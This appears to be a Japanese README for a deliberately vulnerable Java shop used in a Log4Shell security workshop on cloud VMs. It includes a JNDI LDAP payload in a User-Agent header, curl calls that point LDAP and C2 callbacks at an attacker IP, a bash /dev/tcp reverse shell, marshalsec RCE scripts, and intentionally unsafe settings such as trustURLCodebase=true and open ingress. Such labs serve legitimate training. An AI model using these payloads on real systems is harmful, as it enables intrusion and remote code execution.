
意図的に脆弱なVM上でホストされたJavaショップ — Log4Shell (CVE-2021-44228) ワークショップラボ (EC2 / Azure VM / GCE)
意図的に脆弱性を含むクラシック/トラディショナルなショップです。セキュリティワークショップ向け — VM(EC2、Azure VM、GCP Compute Engine)上のJavaアプリケーションであり、コンテナではありません。
主要なストーリー: 重大なVM侵害 — SQLインジェクション → Log4Shell (CVE-2021-44228) → 外部C2へのリバースシェル。
[!CAUTION] 本番アカウントにデプロイしないでください。 VMは一時的なものとし、ネットワークをラボ内に限定してください。
Jay's Surf Shopはクラウドネイティブなランタイム(ECS / ACA / GKE)を対象としています。TraditionalJayはホスト/VMの領域をカバーします:
| Surf Shop | TraditionalJay |
|---|
| Compute | コンテナ/サーバーレス | 単一のLinux VM |
| Stack | Next.js + Python | Spring Boot + Log4j2 |
| 注目CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Java 11+ とMavenが必要です。
/search での文字列結合SQLiteが secrets テーブルをダンプします。2.14.1 のJNDI LDAPルックアップがリスナーに向けて行われます。bash /dev/tcp ダイヤルがC2リスナーに送信されます。# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
プローブのみ(LDAP発信の証明):
python3 tools/ldap-listen.py --port 1389
完全なRCE(marshalsec LDAP + リモートExploit.class; VMは意図的に trustURLCodebase=true で動作):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
その後、/security を開き、LDAPコールバックを YOUR_PUBLIC_IP:1389 に設定し、Run Log4Shell をクリックします。成功すると、VMは /tmp/jss-log4shell-rce、/tmp/jss-log4shell-id.txt を取得し、約45秒間のインタラクティブな bash(利用可能な場合は script 経由のPTY)がホストセンサーのデモ用に提供されます。
また、細工した User-Agent で検索を実行することもできます:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
Upwindの認証情報はローカルの terraform.tfvars(gitignore対象)を介して渡します。Cloud-initがそれらをエクスポートし、scripts/install-vm.sh が scripts/install-upwind-sensor.sh を実行します。
メモリ: scanner-v2=true はインストール時に 約7 GiBの空きRAM を必要とします(ディスクではありません)。デフォルトのAWS Terraformは t3.large(8 GiB) + 40 GiB gp3 ルートを使用するため、スキャナーはスキップされません(小さいインスタンスでは Skipping scanner installation, requires 7000000 kB となります)。
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWSの例 infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
認証情報が空の場合、アプリは引き続きインストールされ、センサーのステップはスキップされます。
GitHub Actionsワークフロー .github/workflows/build.yml:
v* → fat JARを含むGitHubリリースVMは scripts/install-vm.sh を介して最新のリリースJARを優先し、リリースがまだ存在しない場合はオンボックスのMavenビルドにフォールバックします。インストーラーはfat JARを /opt/traditionaljay/BOOT-INF/lib/ 以下に展開し、JarLauncher を実行するため、ホスト/エージェントレスSCAはディスク上の log4j-core-2.14.1.jar を認識できます(java -jar app.jar のみを実行すると、Log4jがzip内にネストされ、パッケージインベントリから CVE-2021-44228 が隠されることがよくあります)。
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
各クラウドフォルダはスタンドアロンのTerraformです。初回起動時に scripts/install-vm.sh(OpenJDK 11 + リリースJARまたはMavenビルド + systemd)が実行されます。
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
初回起動時、インスタンス上でMavenがビルドを行うため数分かかります。その後、http://PUBLIC_IP:8080/security を開いてください。
app/ Spring Bootショップ + /security Log4Shell UI
tools/ldap-listen.py バナーのみのLDAPリスナー(発信の証明)
tools/run-log4shell-ldap.sh 完全なRCE LDAP + HTTPコードベースサーバー
tools/exploit/Exploit.java marshalsec用のリモートクラスペイロード
scripts/install-vm.sh Cloud-init / 手動VMインストーラー
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class を使用します。-Dcom.sun.jndi.ldap.object.trustURLCodebase=true は意図的です(Java 11+ではデフォルトで無効)。ldap-listen.py は、コード実行なしでLDAP発信を証明するために残されています。0.0.0.0/0 を許可しています — 共有ラボの場合は *_ingress_cidr / 送信元範囲を厳格にしてください。